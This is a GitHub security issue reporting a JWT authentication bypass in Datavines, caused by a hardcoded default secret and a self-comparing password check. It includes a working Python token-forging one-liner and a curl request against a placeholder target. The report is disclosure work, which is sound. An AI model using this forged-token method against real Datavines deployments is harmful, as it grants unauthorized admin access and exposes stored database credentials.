[Bug] [Security] JWT Authentication Bypass via Hardcoded Secret and Self-Comparison Logic #580

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What happened

Datavines has a critical JWT authentication bypass vulnerability caused by two flaws working together:

Flaw 1: Hardcoded JWT Secret

In TokenManager.java (Line 42), the JWT signing secret is hardcoded as a default value:

@Value("${jwt.token.secret:asdqwe}")
private String tokenSecret;

The configuration key jwt.token.secret is not present in application.yaml, nor is it mentioned in any documentation or deployment guide. This means all default deployments use the same secret asdqwe.

Flaw 2: Self-Comparison in validateToken

In AuthenticationInterceptor.java (Line 96), the password validation compares the token's password against itself:

// Current code — the password from the token is compared with... itself
if (!tokeManager.validateToken(token, username, tokeManager.getPassword(token))) {

The tokeManager.getPassword(token) extracts the password from the token, and then validateToken (Line 163-166) compares it with the same extracted value. This comparison will always be true, regardless of whether the password is correct.

Impact

An attacker who knows only a valid username (e.g., the default admin) can forge a valid JWT token and completely bypass authentication to access all protected API endpoints, including:

• Listing all workspaces and their datasource configurations (database credentials)
• Executing arbitrary operations as the impersonated user
• Accessing admin-only functionality

No valid password or user account is needed.

Steps to Reproduce

# Generate a forged token using the known secret "asdqwe" and any fake password
python3 -c "
import jwt, time
token = jwt.encode({
    'un': 'admin',
    'up': 'FAKE_PASSWORD',
    'ct': int(time.time()*1000),
    'sub': 'admin',
    'exp': int(time.time()) + 315360000
}, 'asdqwe', algorithm='HS256')
print(token)
"

# Use the forged token to access protected API
curl -s http://TARGET:5600/api/v1/workspace/list \
  -H "Authorization: Bearer <forged_token>"
# Returns HTTP 200 with workspace data — authentication bypassed

Root Cause Analysis

The call chain is:

AuthenticationInterceptor.preHandle()
  → tokenPassword = tokeManager.getPassword(token)     // extract from token
  → tokeManager.validateToken(token, username, tokenPassword)
    → tokenPassword2 = getPassword(token)                // extract again
    → tokenPassword.equals(tokenPassword2)               // self-comparison → always true!

Suggested Fix

#579

DataVines Version

All versions, including the latest (as of commit 00c1561)

DataVines Config

Default `application.yaml` — no JWT-related configuration exists.

Running Command

N/A

Error Exception

N/A — this is a security vulnerability, not a runtime error

Engine Type

No response

Java Version

No response

Screenshots

No response

Are you willing to submit PR?

• Yes I am willing to submit a PR!